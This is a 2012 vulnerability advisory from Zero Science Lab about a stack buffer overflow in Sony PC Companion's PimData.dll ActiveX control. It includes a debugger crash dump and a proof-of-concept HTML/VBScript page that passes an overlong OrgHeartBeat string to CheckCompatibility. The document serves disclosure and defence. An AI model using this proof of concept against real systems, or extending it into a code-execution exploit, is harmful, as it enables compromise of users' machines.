Sony PC Companion 2.1 (CheckCompatibility()) Stack-based Unicode Buffer Overload


Vendor: Sony Mobile Communications AB
Product web page: http://www.sonymobile.com
Affected version: 2.10.115 (Production 27.1, Build 830)
                  2.10.108 (Production 26.1, Build 818)

Summary: PC Companion is a computer application that acts as a portal
to Sony Xperia and operator features and applications, such as phone
software updates, management of contacts and calendar, media management
with Media Go, and a backup and restore feature for your phone content.

Desc: The vulnerability is caused due to a boundary error in PimData.dll
when handling the value assigned to the 'OrgHeartBeat' item in the
CheckCompatibility function and can be exploited to cause a stack-based
buffer overflow via an overly long string which may lead to execution of
arbitrary code on the affected machine.


------------------------------------------------------------------------------

STATUS_STACK_BUFFER_OVERRUN encountered
(1214.1688): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=5fcf2b80 ecx=75b1de28 edx=0012e12d esi=00000000 edi=001f9ec4
eip=75b1dca5 esp=0012e374 ebp=0012e3f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
KERNEL32!FormatMessageA+0x13c85:
75b1dca5 cc              int     3
0:000> d edi
001f9ec4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9ed4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9ee4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9ef4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9f04  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9f14  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9f24  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001f9f34  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0:000>

------------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5119
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5119.php

http://cwe.mitre.org/data/definitions/121.html


09.11.2012

---


<html>
<body>
<object classid='clsid:A70D160E-E925-4207-803B-A0D702BEDF46' id='overrun' />
<script language='vbscript'>
targetFile = "C:\Program Files\Sony\Sony PC Companion\PimData.dll"
prototype  = "Function CheckCompatibility ( ByVal OrgHeartBeat As String ,  ByVal OrgScriptFile As String ,  ByVal DataTypes As Long ) As Boolean"
memberName = "CheckCompatibility"
progid     = "PimDataLib.PhoneDataProviderInfo"
argCount   = 3

OrgHeartBeat=String(4116, "A")
OrgScriptFile="defaultV"
DataTypes=1

overrun.CheckCompatibility OrgHeartBeat, OrgScriptFile, DataTypes

</script>
</body>
</html>